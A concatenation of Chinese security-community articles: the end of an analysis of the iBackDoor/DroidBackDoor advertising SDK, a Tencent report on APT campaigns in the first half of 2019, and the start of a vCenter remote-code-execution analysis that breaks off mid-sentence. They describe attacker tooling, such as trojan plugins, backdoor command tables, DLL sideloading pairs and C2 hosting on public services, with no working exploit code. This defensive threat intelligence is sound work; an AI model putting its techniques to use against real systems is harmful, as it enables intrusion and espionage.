Schemes,也就是说XcodeGhost可以干的事情(打开钓鱼网页,安装企业应用等)iBackDoor也都可以干。比如如下是安装企业应用的反编译代码:
**
**
**0x02 数据流量分析**
通过分析反汇编代码我们发现中了iBackDoor的app会根据本地的msageJS脚本执行相应的指令。除此之外,iBackDoor还会发送post请求到entry.adsage.com去检查更新,如果有新的JS命令脚本就会到mws.adsage.com下载。
于是我们分析了一下entry.adsage.com和mws.adsage.com的DNS解析和流量数据:
根据DNS解析趋势,可以看到每天请求的数据并没有太大的浮动。但有意思的是,在对流量的分析中,除了adv-ios–min.zip外我们还发现了很多机器对adv-android–min.zip的下载请求。难道除了iOS的app,android上的app也难逃魔爪?
并且这个请求的数量还不小,在我们有限的监测流量中,光九月份就有4亿多次对adsage.com的数据发送。并且,最近半年内至少有超过50000次对更新脚本adv-ios–min.zip或adv-android–min.zip的下载请求。
**
**
**0x03 Android样本 – DroidBackDoor分析**
上文讲到了我们除了iOS的payload还发现了Android的payload,我们把这个payload下载下来一看,发现原来就是个动态加载的dex文件。这个dex文件包含了非常多的高危代码,我们把它称为DroidBackDoor。DroidBackDoor除了广告sdk都会做的获取手机各种信息,下载和安装任意apk外,还可以获取用户的坐标、打开任意网页、打电话、发短信等。
获取用户坐标的反汇编代码:
打开任意网页的反汇编代码:
打电话的反汇编代码:
发短信的反汇编代码:
我们将提取的mobisage的特征去后台数据库查询,发现Android上也有超过2000款的app使用了mobisage的sdk。
**
**
**0x04 网站分析**
通过相关域名网站(<http://www.adsage.cn/index.html>),可以知道这家公司的名字叫艾德思奇,并且有很多知名的合作伙伴和案列。我们建议所有使用了这个SDK的厂商应立刻检查自己产品中是否被插入了高危风险的代码,以免被苹果下架。
**
**
**0x05 总结**
虽然这次”后门”SDK同时影响了iOS和Android,但根据我们的数据分析结果发现影响力是远远不及XcodeGhost和WormHole的。所以用户不用太过担心,在受影响的app下架之前尽量不要安装不知名应用,并记得及时更新自己的app。
**
**
**0x06 参考资料**
1. [https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html](https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html) | 社区文章 |
**作者：腾讯御见威胁情报中心**
**原文链接：<https://mp.weixin.qq.com/s/2mjJC00rEVSx7CK8BVL90A>**
腾讯安全御见威胁情报中心根据团队自己的研究以及搜集的国内外同行的攻击报告，编写了该份2019年上半年APT攻击研究报告。
# 一、前言
高级可持续性攻击，又称APT攻击，通常由国家背景的相关攻击组织进行攻击的活动。APT攻击常用于国家间的网络攻击行动。主要通过向目标计算机投放特种木马（俗称特马），实施窃取国家机密信息、重要企业的商业信息、破坏网络基础设施等活动，具有强烈的政治、经济目的。
整个2019年上半年，网络攻击频发，全球的网络安全形势不容乐观。腾讯安全御见威胁情报中心根据团队自己的研究以及搜集的国内外同行的攻击报告，编写了该份2019年上半年APT攻击研究报告。根据研究结果，我们认为主要的结论如下：
1、 中国依然是APT攻击的主要受害国，受到来自于东亚、东南亚、南亚、欧美等各个区域的网络威胁；
2、 网络攻击形势跟地域政治局势有相当密切的关联，地域安全形势复杂的地区，往往是APT攻击最为严重和复杂的地区；
3、 APT攻击不再局限于窃取敏感材料，攻击目标开始跟民生相关，如阿根廷、委内瑞拉的大断电等；
4、 大量的APT攻击武器库的泄露，使得网络安全形势更加严峻，如军用网络武器的民用化等，同时也给安全研究者的追踪、溯源带来了一定的困难。
# 二、2019年上半年攻击概览
2019年上半年来，网络安全大事频发，APT攻击也持续高发，为了掌握APT攻击在全球的活动情况，腾讯安全御见威胁情报中心针对全球所有安全团队的安全研究报告进行研究，并提取了相关的指标进行持续的研究和跟踪工作。同时，我们针对相关的研究报告进行了一个梳理和归纳，经过不完全统计，2019年上半年，全球共有42个安全厂商共计发布了144篇APT攻击报告，其中有7家中国的的安全厂商发布了43篇攻击报告，报告数量同步2018年增长了近5成。由于安全公司众多，监测可能有所遗漏，敬请谅解。我们也只选取了有具体攻击活动和明确组织信息的报告做为统计和比对。
图1：国内外主要安全厂商披露APT数量
2019年上半年，国内共有7家安全厂商披露了43篇攻击报告，共涉及APT攻击组织26个，其中海莲花被披露的次数最多，共计7次，其次为污水（MuddyWater），共计5次。
图2：国内安全厂商披露的主要APT组织攻击事件数量
从被攻击地域分布来看，根据腾讯安全御见威胁情报中心的统计显示（不含港澳台地区），2019年上半年中国大陆受APT攻击最多的地区为广西和北京，此外还有辽宁、云南、海南、四川、广东、上海等。详见下图（不含港澳台地区）。
图3：2019年上半年中国大陆被APT攻击的地区分布图
而从行业分布来看，2019年上半年针对中国大陆的攻击中，主要受攻击对象包括政府部门、国有企业、科研机构等，具体分布如下：
图4：国内被攻击目标属性分布
# 三、中国面临的APT攻击形势
中国历来都是APT攻击的主要受害者，随着中国经济的快速发展，以及国际地位的不断攀升，中国面临的外部威胁形势更加严峻。根据腾讯安全御见威胁情报中心的监测以及公开的报告和资料，我们将在2019年上半年对中国大陆有过攻击的组织按疑似的地理位置分为东北亚方向、东亚方向、东南亚方向、南亚方向、其他方向。
**组织归属地** | **代表**
---|---
东亚 | DarkHotel、Group123（APT37）、Lazarus、穷奇（毒云藤）
东南亚 | 海莲花（APT32）
南亚 | BITTER（蔓灵花）、白象、Gorgon Group
其他 | 方程式
表1：2019年上半年攻击中国的APT组织地域分布
## 3.1 东亚方向的威胁
东亚的威胁主要来自朝鲜半岛等地区，此方向组织具有很强的政治背景，常攻击我国政府、外贸、金融、能源等领域的公司、个人及相关科研单位，该方向黑客组织十分庞大，往往呈集团化运作。最典型的攻击组织代表就是DarkHotel、Group123（APT37）、Lazarus、穷奇（毒云藤）等。2019年以来，这几个典型组织都比较活跃。
### 3.1.1 DarkHotel
DarkHotel组织旗下的寄生兽长期对我国外贸公司进行持续性攻击，在2019年上半年再次针对中国的外贸企业进行了攻击活动。该组织具有强大的木马开发能力和0day漏洞利用能力，持续与国内主流安全软件进行安全对抗。新版的寄生兽木马依然使用寄居在正常的文件中疑似通过水坑来感染目标系统，与以往不同的是，以前是通过将大量开源代码加入到木马工程中编译以实现隐藏恶意代码的目的，今年则出现通过替换正常的软件文件来实现劫持的目的，更加隐蔽和难以清理。
图5：捆绑有寄生兽木马的网易邮箱大师程序
感染目标系统后，通过下发恶意插件的方式，对被控机器进行持久性攻击，插件如下：
插件名 | 功能
---|---
rmet_x64/ rmet_x86 | Meterpreter，用于远程控制，持续渗透
mkmfc.dll | 键盘记录插件，本插件用于键盘记录，记录按键信息、窗口标题、时间
weepyll_x64.dll | 内网渗透插件，主要用于横向移动
hird.dll | 用于用于窃取数据库文件
nksen.dll | 用于屏幕监控
igfxrot.exe/TiWork.exe | 开源远程控制木马XRAT，该远控可以进行键盘记录、远程下载执行恶意文件、上传文件、反向代理等功能
表2：寄生兽下发插件的功能列表
### 3.1.2 Group123（APT37）
该组织疑似朝鲜半岛某国政府背景，经常攻击国内的外贸公司、在华外企高管，甚至政府部门。该组织最常使用鱼叉钓鱼邮件进行定向攻击，使用Nday或者0day漏洞进行木马捆绑和伪装。在拿下目标及其后会尝试横向移动以及对根据系统信息发现定制模块，常使用dropbox等公共网络资源作为C2、中转、存储等。2019该组织仍然十分活跃。
图6：Group123的攻击诱饵
图7：Group123组织针对特定计算机下发的定制化模块
### 3.1.3 穷奇（毒云藤）
穷奇组织是一个对我国持续攻击时间长达数十年的老牌APT组织，该组织的攻击活动在2015年左右达到高峰，之后的活动慢慢减少，2019年以来该组织活动减少了很多，攻击频次和攻击范围都大大缩小，但其依然保持活动，如今年3月份，该组织就使用编号为CVE-2018-20250的WinRAR
ACE漏洞向中国大陆数十个重点目标投递了多个RAT木马。投递的RAT木马核心与3年前的版本相比除了配置信息外并未发现新的功能性更新，由此也可印证该组织的活跃度确实在下降。
图8：穷奇组织的钓鱼邮件
图9：带有CVE-2018-20250漏洞的压缩包附件
图10：解压后释放的恶意文件
图11：解压后的正常文件
## 3.2 东南亚方向的威胁
东南亚方向的威胁，最典型的代表就是海莲花（APT32、OceanLotus），该组织是近年来针对中国大陆攻击最频繁的组织，甚至没有之一。其攻击的目标众多且广泛，包括政府部门、大型国企、金融机构、科研机构以及部分重要的私营企业等。该组织攻击人员非常熟悉我国，对我国的时事、新闻热点、政府结构等都非常熟悉，如刚出个税改革时候，就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。
2019上半年以来海莲花组织以更大规模对更广领域进行持续攻击，大量国内企业单位目标整个内网沦陷，攻击方式依旧以使用电子邮件投递诱饵的方式实施鱼叉攻击为主，投递的诱饵类型则是多种多样，有白加黑、lnk、chm、漏洞利用office文件、WinRAR
ACE漏洞文件、文档图标的exe等。一旦获取到一台机器控制权限后，立即对整个内网进行扫描平移渗透攻击。
图12：海莲花的钓鱼邮件
图13：海莲花使用的攻击诱饵
在安全对抗上，海莲花也表现得十分活跃，其技术更新十分频繁，且大量针对国内安全软件。如在启动方式上，上半年出现了通过修改doc、txt等文档文件类型关联程序的方式来实现开机自启动；通过在资源中添加大量的垃圾数据，充大文件体积来防文件上传；通过com组件来添加注册表从而绕过安全软件主动防御的技术。
图14：在资源中添加大量垃圾数据
图15：添加大量垃圾数据后的文件大小
而在受害机器上的持久化文件，白加黑依然是海莲花组织最喜欢用的方式之一，以下是近半年该组织最常用的“白加黑”组合：
白文件原名 | 白文件MD5 | 黑DLL文件名
---|---|---
iTunesHelper.exe | 3723c94f7e6b91e60b74e7eeea6796** | AppleVersions.dll
SGTool.exe | 5fc69418b80385e8c41cfd76b427c1** | inetmib1.dll
Rar.exe | 35bb768e6ee6c8a1462e11cf0be2a9** | ldvptask.ocx
GoogleUpdate.exe | 0545a3eb959cfa4790d267bfb8c1ac** | goopdate.dll
360se.exe | a16702ed1812ddc42153ef070f3dfd** | chrome_elf.dll
winword.exe | ceaa5817a65e914aa178b28f12359a** | wwlib.dll
rekeywiz.exe | ca0537448557b9055ea660c08d76f7** | mpr.dll
表3：海莲花常用的白加黑组合
2019上半年海莲花出现的另一个显著的新变化则是对常驻文件进行机器绑定处理，实现木马与受害机器绑定，即使用计算机名对木马payload进行加密，这样如果样本被拷贝到其他机器，如分析取证人员的电脑，则无法解密出payload而无法分析样本具体行为，对于最终的payload，Denis、Cobalt
Strike、类gh0st依然是该组织最喜欢使用的RAT，且会根据目标的价值信息，选择不同的RAT组合。
图16：海莲花特马的payload加密结构
图17：海莲花特马的payload解密流程
## 3.3 南亚方向的威胁
南亚方向的攻击组织对中国大陆的攻击活动已经持续了近10年，代表组织有BITTER（蔓灵花）、白象（摩诃草、Patchwork、HangOver）、Gorgon
Group等。而BITTER、白象等组织之间又存在某些相似和关联，这一点在我们以往的报告中也有所提及。2019年上半年，该方向的组织依然活跃，持续有针对中国政府部门、军工、核能企业以及外贸、钢铁行业进行攻击的案例。
### 3.3.1 BITTER（蔓灵花）
BITTER（蔓灵花）也是对中国大陆进行攻击的比较频繁的一个攻击组织，攻击目标包括外交相关部门、军工、核能等企业。御见威胁情报中心曾在2018年12月详细的披露过该组织的攻击活动和技术细节，以及和白象等组织的关联关系。2019年上半年该组织的技术特点跟之前的类似，未发现有明显的改进。
图18：蔓灵花的攻击诱饵文件
图19：蔓灵花的钓鱼页面
### 3.3.2 白象
白象组织，也叫摩诃草、Patchwork、HangOver，也是经常针对中国大陆进行攻击的组织，除了中国大陆的目标外，巴基斯坦也是该组织的主要目标。该组织的攻击活动以窃取敏感信息为主，最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击。该组织的常用特马包括badnews、qrat等。
2019年上半年，虽然该组织频繁的针对巴基斯坦、孟加拉等目标进行了攻击活动，但是针对中国大陆的攻击相对比较平静。但是我们也有发现该组织旗下的badnews特马所使用的github等公共平台的配置的C2在2019年也进行了频繁的更新。
图20：白象的badnews特马所配置C&C的页面
可以看到，真正的C&C地址，使用的是拼音，很有中国特色：
图21：白象的badnews特马C&C通信包
命令号 | 功能
---|---
0 | 退出木马进程，结束控制
8 | 获取键盘记录：上传TPX498.dat，即键盘记录文件
23 | 获取截屏：截屏并存储为TPX499.dat，并上传
13 | 上传文件：读取指定文件内容写入到AdbFle.tmp，并上传
4 | 获取文档文件目录列表：上传edg499.dat并删除，再运行一次木马自身
5 | 上传指定路劲的文件
33 | 下载文件：从指定URL下载文件，并执行
表4：badnews特马的命令号和功能
### 3.3.3 Gorgon Group
Gorgon
Group是一个比较特殊的攻击组织，该组织主要针对包括中国在内的全球外贸人士进行攻击，行为类似于腾讯安全御见威胁情报中心多次披露的"商贸信"。但是特别的是，Gorgon
Group还被发现有针对英国、西班牙、俄罗斯、美国等政治目标发起过定向攻击。该组织最早在2018年8月份由Palo Alto的Unit42团队进行了披露。
该组织主要的武器库为一些公开的商用的RAT木马，包括Azorult RAT、Revenge
RAT、NjRAT、Lokibot等。同时该组织还喜欢使用Bitly短域名，以及使用公开的blog和临时分享文本站点pastebin来存储攻击代码。
2019年上半年，该组织依然持续的对全球的外贸人士进行了攻击，当然中国的外贸人士也包含在内。主题包括订单、邀请函、快递等等。
图22：使用pastebin存储攻击代码
图23：使用blogspot存储攻击代码
## 3.4 其他方向的威胁
其他方向的威胁主要来自欧美国家，典型代表如方程式、Turla等。其中方程式组织被曝光于2015年初，其活动时间最早可追溯至2001年，在2017年时，该组织被Shadow
Brokers（影子经纪人）组织黑吃黑攻陷，几乎全部资料外泄。从曝光的材料来看其拥有强大的漏洞利用能力，且多个0day漏洞已使用数年之久，包括后来被WannaCry木马利用的“永恒之蓝”漏洞都是出自该组织之手，根据曝光的信息，中国有大量的重要目标被该组织贡献，总数位列所有被攻击国家之首。该组织的攻击方式大多从重要目标防火墙、路由器等入手，通过漏洞层层植入木马，技术手段十分高超，因此长时间未被发现。从方程式被曝光之后，该组织未被发现有新的活动迹象，可能是该组织另起炉灶，完全使用新的木马进行攻击，也可能是使用更先进的技术使得自己更加隐蔽，我们也在持续挖掘很跟进中。
可以看到，被方程式组织攻陷的目标，位于中国的最多：
图24：方程式攻击目标发布
而APT28、Turla组织被认为具有俄罗斯政府背景，其攻击目标以政治目的为主，有攻击国内目标的历史，但是在2019年上半年未发现其针对我们的活动迹象。因此不再具体描述。
# 四、国际APT攻击形势
高级持续性威胁（APT）被认为是地缘政治的延伸，甚至是战争和冲突的一部分，APT的活跃趋势也跟地缘政治等全球热点密切相关，全球APT攻击高发区域也是全球地缘政治冲突的敏感地域。2019年以来，国际形势瞬息万变且复杂，好多地区甚至都在战争的边缘，如美伊、印巴、委内瑞拉等。跟根据我们对2019年上半年APT攻击活动的分析，这些高危地区也恰恰是APT攻击活动的主要活跃地带。从而可知，网络战也慢慢变成国家间的政治博弈甚至是现代战争的重要部分。
跟之前的年度报告一样，我们依然把针对全球的威胁根据攻击组织的归属地，分几个重点的区域来进行描述，具体如下：
组织归属地 | 活跃代表
---|---
东亚 | Group123（APT37）、Lazarus、Hermit、Kimsuky
南亚 | BITTER（蔓灵花）、白象、SideWinder（响尾蛇）、Donot Team（肚脑虫）、TransparentTribe（ProjectM）
中东 | APT34、MuddyWater
欧洲 | APT28、Turla、Gamaredon、Buhtrap
表5：根据地域分布的全球威胁概况
## 4.1 东亚地区
东亚地区的威胁主要来自朝鲜半岛，虽然从2018年开始，半岛关系开始缓和，但是网络攻击并未停止脚步。主要的代表包括Hermit、Group123、Lazarus等。
### 4.1.1 Hermit和Kimsuky
Hermit攻击活动主要针对区块链、数字货币、金融目标等，但是我们也发现了同样针对朝鲜相关的外交实体的一些攻击活动。该组织的攻击活动腾讯安全御见威胁情报中心曾在2018年下半年进行了详细的披露，在2019年上半年我们同样捕捉到了该组织的多次攻击活动，同样发布了详细的攻击报告。
该组织旗下的特马包括SYSCON/Sandy、KONNI等。而根据国外的安全公司ESTsecurity的报告，该组织跟另一个攻击组织Kimsuky组织有一定的关联。
图25：KONNI和Kimsuky的代码流程示意图（引用自ESTsecurity报告）
该组织2019年上半年的新活动，跟之前的活动相比，技术手段类似，但是也有一定的更新，如通过下载新的doc文档来完成后续的攻击以及使用AMADEY家族的木马。而最终目标依然为运行开源的babyface远控木马。此外，传统的Syscon/Sandy家族的后门木马也依然活跃。
图26：2019年上半年Hermit活动的钓鱼诱饵文档
图27：2019年上半年Hermit活动的钓鱼诱饵文档
图28：2019年上半年Hermit活动所使用的后门AMADEY后台
而同样Kimsuky也是2019年上半年在半岛地区活动异常频繁的攻击组织，该组织的攻击对象主要是跟朝鲜相关的政治目标，而钓鱼诱饵往往是当前的政治热点内容。攻击诱饵有很大一部分是hwp文档。
图29：Kimsuky的攻击诱饵信息（引用自ESTsecurity报告）
图30：Kimsuky某次攻击活动的攻击流程图（引用自ESTsecurity报告）
### 4.1.2 Lazarus
Lazarus组织被认为是朝鲜最著名的攻击组织，该组织被认为是攻击索尼公司、孟加拉国银行等攻击活动的幕后黑手，甚至连震惊全球的Wanacry勒索病毒事件也被认为是该组织所为。
近些年来，该组织主要目标包括金融公司、虚拟货币交易所等目标。而在2019年上半年，该组织就对新加坡的DragonEx交易所、OKEX交易所等目标进行了攻击活动。
图31：GragonEX交易所发布的攻击公告
## 4.2 南亚地区
南亚地区的威胁，主要集中在印巴之间。而印巴之间的关系一直以来都比较紧张，在过去的多年，围绕克什米尔地区，冲突不断。进入2019年来，冲突持续升级。
随着政治上的关系恶化，该地区的网络战在同时期也进入了一个高潮。代表组织主要有BITTER（蔓灵花）、白象、Donot（肚脑虫）、SideWinder（响尾蛇）、TransparentTribe等。
### 4.2.1 SideWinder（响尾蛇）
SideWinder（响尾蛇）为疑似来自印度的 APT
攻击组织，该组织持续针对巴基斯坦等南亚国家的军事目标进行了定向攻击。该组织最早被腾讯安全御见威胁情报中心在2018年进行了披露，而根据腾讯安全御见威胁情报中心对该组织的攻击溯源结果来看，该组织的最早的攻击活动可以追溯到
2012 年。而在2019年2月，腾讯安全御见威胁情报中心再次详细披露了该组织的一些攻击活动。
在2019年上半年，该组织的攻击活动也并未停止，相反还比较活跃。但是技术上并未有太大的改变，相关的攻击技术细节可以参考腾讯安全御见威胁情报中心之前的详细分析报告。
图32：SideWinder的钓鱼邮件
图33：SideWinder的钓鱼诱饵内容
该组织的特马主要采用VB编写，后门功能包括收集用户信息、记录键盘和鼠标的操作等。并且使用白加黑的手段来进行加载。如常用的：
图34：SideWinder组织常用的白加黑组合
图35：SideWinder组织常用的VB后门代码框架
### 4.2.2 白象
白象主要攻击巴基斯坦的政府部门、科研机构等。2019年上半年频繁的针对巴基斯坦的目标进行了攻击。腾讯安全御见威胁情报中心也披露了白象的攻击活动。
图36：白象的攻击诱饵
图37：白象的攻击诱饵内容翻译
图38：保存受害者信息的FTP地址
此外，白象还频繁的使用badnews后门对巴基斯坦的目标进行了攻击活动：
图39：白象的攻击诱饵
图40：白象的攻击诱饵
图41：github上存储C&C信息的页面
### 4.2.3 Donot（肚脑虫）
Donot
Team是2018年被曝光的APT攻击组织，最早在2018年3月由NetScout公司的ASERT团队进行了披露，随后国内的厂商奇安信也进行了披露。该组织主要针对巴基斯坦进行攻击活动。
2019年上半年该组织也相当活跃，对巴基斯坦的目标进行了多次的攻击活动：
图42：Donot Team的攻击诱饵
图43：Donot Team的攻击诱饵执行的bat内容
除了拥有PC端上的攻击能力，该组织同样拥有移动端的攻击能力：
图44：Donot Team的安卓木马的流程（引用自奇安信博客的分析）
### 4.2.4 TransparentTribe
TransparentTribe
APT组织，又称ProjectM、C-Major，是一个来自巴基斯坦的APT攻击组织，主要目标是针对印度政府、军事目标等。该组织的活动最早可以追溯到2012年。该组织的相关活动在2016年3月被proofpoint披露，趋势科技随后也跟进进行了相关活动的披露。
2019年上半年，该组织也对相关目标进行了多次攻击活动：
图45：TransparentTribe的攻击诱饵
事项 | 说明
---|---
攻击目标 | 印度政府、军事目标等
投递方式 | 鱼叉攻击
诱饵类型 | 带有VBA宏的doc、xls文档等。并且把相关的内容和恶意文件以整形的数据形式存放在窗体控件中。
诱饵内容 | 以攻击目标感兴趣的新闻和通知等内容
特马家族 | CrimsonRAT、.net loader、.net droper、PeppyRAT
攻击目的 | 窃取相关资料文件
表6：TransparentTribe组织的TTPs整理
而经过腾讯安全御见威胁情报中心的数据溯源，该组织疑似跟巴基斯坦另外一个组织Gorgon Group有一定的关联：
图46：TransparentTribe和Gorgon关联示意图
## 4.3 中东地区
中东地区向来是世界局势的火药桶，该地区是世界上政治最复杂的地区。此外，大量的恐怖袭击、局部冲突等也在此地区大量的出现。随之而来的是，该区域的网络安全形势也非常复杂和严峻，是整个2019年上半年，网络攻击最频繁、最为热闹的地区。
该地区的攻击组织力量主要以伊朗的攻击组织为主，包括MuddyWater、APT34、DarkHydrus等。
### 4.3.1 MuddyWater
MuddyWater（污水）APT组织是2019年上半年曝光度最高的APT组织，也是2019年上半年全球最活跃的APT攻击组织，国内外多家安全公司都曝光过该组织的一些攻击行动，安全社区里也有大量的安全研究人员讨论该组织攻击活动。腾讯安全御见威胁情报中心也多次曝光过MuddyWater组织的攻击活动。
MuddyWater组织是一个疑似来自伊朗的攻击组织，该组织的攻击目标主要集中在中东地区以及包括塔吉克斯坦、白俄罗斯等在内的前苏联国家，攻击的对象主要集中在外交部、国防部等政府部门。
MuddyWater组织偏爱使用采用模糊显示以及宏代码加载的诱饵文件。并在2019年更新了其攻击TTPs，如宏代码拼接内置硬编码字符串写入VBE；利用注册表，自启动文件夹启动VBE等，此外在受害者选择上也更为精确，通过第一阶段后门反馈的受害者信息挑选目标进行下一步持久化等。
图47：MuddyWater针对塔吉克斯坦攻击的诱饵文档
图48：MuddyWater组织的BlackWater的攻击活动
图49：MuddyWater组织使用的powershell后门
而令人意外的是，2019年5月初，有人在telegram上售卖MuddyWater早期的C&C服务端的代码，随后被泄露。而该信息跟2019年4月趋势科技关于MuddyWater的报告中提到的他们监控到该组织在telegram泄露了C&C服务端源代码和受害者信息相吻合。
图50：在telegram上售卖的MuddyWater服务端源码
图51：MuddyWater服务端运行后界面
### 4.3.2 APT34
APT34，又被成为OilRig，同样是被认为是来自伊朗的APT攻击组织。跟MuddyWater一样，在2019年上半年，APT34所使用的攻击工具，也被黑客泄露。该泄露事件虽然未引起像之前Shadow
Brokers（影子经纪人）泄露NSA工具包那样来的轰动，但是也在安全界引起了不少的关注和讨论。
图52：APT34的工具包的完整文件目录
可以看到，里面的被攻击目标包括阿联酋、科威特、约旦等。此外工具包里还包括了一份webshell列表，其中也包括多个中国网站的webshell：
图53：APT34的工具包里泄露的webshell列表
## 4.4 欧洲地区
该地区主要以东欧的攻击组织为代表，如APT28、Turla、Gamaredon等。而2019年上半年，这些攻击组织也主要围绕以乌克兰为主的东欧地区开展了网络攻击活动。
### 4.4.1 Gamaredon
Gamaredon
group是2017年第一次被披露的一个疑似俄罗斯政府背景的黑客组织，其活动最早可追溯至2013年。该组织常年攻击乌克兰政府、国防、军队等单位。2019年以来，我们又陆续发现了大量针对乌克兰政府部门的鱼叉攻击恶意邮件，诱饵文件内容主要包括乌克兰议会、法院调查文件、克里米亚等时政热点问题。
图54：Gamaredon组织的钓鱼攻击邮件
图55：Gamaredon组织的钓鱼攻击诱饵内容
### 4.4.2 APT28
我们在2018年的年终报告里提到了APT28是2018年最为活跃的攻击组织。而在2019年上半年，该组织的攻击活动相比2018年有所减少，但是依然相当活跃，并发起了多次的攻击活动。如2019年3月，该组织使用0day漏洞攻击了乌克兰政府，疑似试图干预乌克兰大选。
图56：APT28组织所使用的攻击诱饵文档
而该组织的攻击武器库也非常强大，使用的语言也非常丰富，包括delphi、C#、C++、GO语言等。
**4.4.3 Turla**
Turla，又名Snake，Uroburos，Waterbug，被认为是来自俄罗斯的APT攻击组织，该组织从2007年开始活跃至今。该组织的攻击目标包括欧盟的一些政府目标，如外交实体，也包括一些私营企业。
在2019年上半年，国外安全公司ESET曝光率该组织使用新的powershell武器针对东欧的外交实体进行了攻击活动。
图57：Turla的攻击目标（引用ESET关于Turla的报告）
图58：Turla的攻击流程示意图（引用ESET关于Turla的报告）
# 五、威胁变化趋势及未来预测
## 5.1 网络攻击民生化
随着基础设施的智能化，给了通过网络攻击破坏电力、交通、能源等领域的能力。而2017年的乌克兰大停电被乌克兰安全部门确认为是一起针对电力公司的网络恶意攻击事件，攻击者是APT组织BlackEnergy。而2019年南美洲的委内瑞拉大停电也被认为可能是黑客攻击导致，近期南美洲的阿根廷、乌拉圭也相继发生全国性大规模停电，其背后可能也与电力公司遭遇网络攻击相关。随着数字化智能化的普及，未来在交通、能源、通讯等各个领域都可能遭遇APT攻击威胁，影响大规模民生的系统都应在网络安全上早做防备。
## 5.2 网络攻击军事化
伊朗击落无人机，美伊网络战，近日，中东局势的恶化，美国无人机在侦查时被伊朗导弹击落，随后美国发动网络攻击进行报复，据悉网络攻击由美国网络司令部发起，伊朗的导弹控制系统也成为美方攻击的目标，这些攻击意在回应针对油轮的攻击以及美国无人机被击落的事件，随着战场无人化的发展，可以预见的未来网络攻击的军事属性会越来越强。
## 5.3 APT武器民用化
席卷全球的 Wannacry
勒索软件事件还记忆犹新，该木马最核心的部分为当年泄漏不久的网络核武库“永恒之蓝”漏洞，该漏洞原本由方程式组织使用多年，但因为方程式组织被Shadow
Brokers组织攻击导致包括多个0day漏洞在内的资料全部外泄，从而导致原本军工级的网络武器被被用于攻击平民，造成了严重的危害，而这种事情一直都在发生：
图59：近些年来的APT武器库的泄露情况
而APT攻击武器的泄露，也导致了APT武器的民用化，如大量的僵尸网络使用“永恒之蓝”漏洞进行传播。
## 5.4 攻击溯源复杂化
APT组织之间互相伪装，通过代码和基础设施都难以确定组织归属，部分组织尤其是朝鲜半岛的APT组织之间互相伪装，特意在自己的代码中加入对方木马的特征，以迷惑对方及安全分析人员，而公共基础设施的利用，如SYSCON使用免费FTP作为C&C服务器，Group123组织使用dropbox作为C&C服务器，而使用CDN作为C&C流量中转的攻击也已经出现。
随着各国对网络安全越来越重视，未来攻击者可能会花费更多的精力在自己身份的隐藏和伪装上，这样会给威胁溯源增加更大的困难。
## 5.5 APT威胁往移动端扩散
随着移动互联网的普及，越来越多的机密载体转移到了移动设备中，2019年，多个APT组织的移动端木马相继被发现和披露，包括海莲花、donot
Team都已经使用了Android的恶意程序等。高级持续威胁不再限于计算机，未来如智能路由等可能陆续成为APT攻击的目标和持久化的宿主。
# 六、总结
2019年被称作5G元年，我们的网络正朝着多元化、宽带化、综合化、智能化的方向发展，越来越多的设备、越来越多的信息接入到了互联网中，即将开启一个万物互联的大时代，国家之间的APT与反APT的无硝烟战争将会更加频繁，更加激烈。没有网络安全就没有国家安全将会体现得淋漓尽致。
# 七、安全建议
1、
各大机关和企业，以及个人用户，及时修补系统补丁和重要软件的补丁，尤其是最新APT常用漏洞CVE-2018-20250以及最近高危漏洞CVE-2019-0708漏洞补丁；
2、 提升安全意识，不要打开来历不明的邮件的附件；除非文档来源可靠，用途明确，否则不要轻易启用Office的宏代码；
3、
使用杀毒软件防御可能得病毒木马攻击，对于企业用户，推荐使用腾讯御点终端安全管理系统。腾讯御点内置全网漏洞修复和病毒防御功能，可帮助企业用户降低病毒木马入侵风险；
图60：腾讯御点终端安全产品图
4、
使用网络防火墙等产品，推荐使用腾讯御界高级威胁检测系统。御界高级威胁检测系统，是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统，可快速检测、发现可疑APT组织的攻击行动。
图61：腾讯御界高级威胁监测系统界面
# 八、附录
## 8.1 附录1：腾讯安全御见威胁情报中心
腾讯安全御见威胁情报中心，是一个涵盖全球多维数据的情报分析、威胁预警分析平台。依托腾讯安全在海量安全大数据上的优势，通过机器学习、顶尖安全专家团队支撑等方法，产生包括高级持续性攻击（APT）在内的大量安全威胁情报，帮助安全分析人员快速、准确对可疑事件进行预警、溯源分析。
腾讯安全御见威胁情报中心公众号自开号以来，发布了大量的威胁分析报告，包括不定期公开的针对中国大陆目标的APT攻击报告，无论是分析报告的数量上还是分析报告的质量上，都处于业界领先水平，受到了大量客户和安全专家的好评，同时发布的情报也经常被政府机关做为安全预警进行公告。
以下是腾讯安全御见威胁情报中心公众号的二维码，关注请扫描二维码：
## 8.2 附录2：参考链接
1、 <https://blog.alyac.co.kr/2347?category=957259>
2、 <https://blog.alyac.co.kr/2243?category=957259>
3、 <https://www.secrss.com/articles/9511>
4、 <https://mp.weixin.qq.com/s/K3Uts9Cb65L-2scf2XoFcg>
5、 <https://ti.qianxin.com/blog/articles/stealjob-new-android-malware-used-by-donot-apt-group/>
6、
<https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf>
7、 <https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf>
8、<https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html>
9、 <https://blog.yoroi.company/research/the-russian-shadow-in-eastern-europe-a-month-later/>
10、<https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/>
11、<https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/>
下载报告全文：<https://s.tencent.com/files/apt-report-201907.pdf>
* * * | 社区文章 |
**作者：Ricter Z
原文链接：<http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/>**
### 0x01. 漏洞简介
vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为
ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机，使得 IT 管理员能够提高控制能力，简化入场任务，并降低 IT
环境的管理复杂性与成本。
vSphere Client（HTML5）在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443
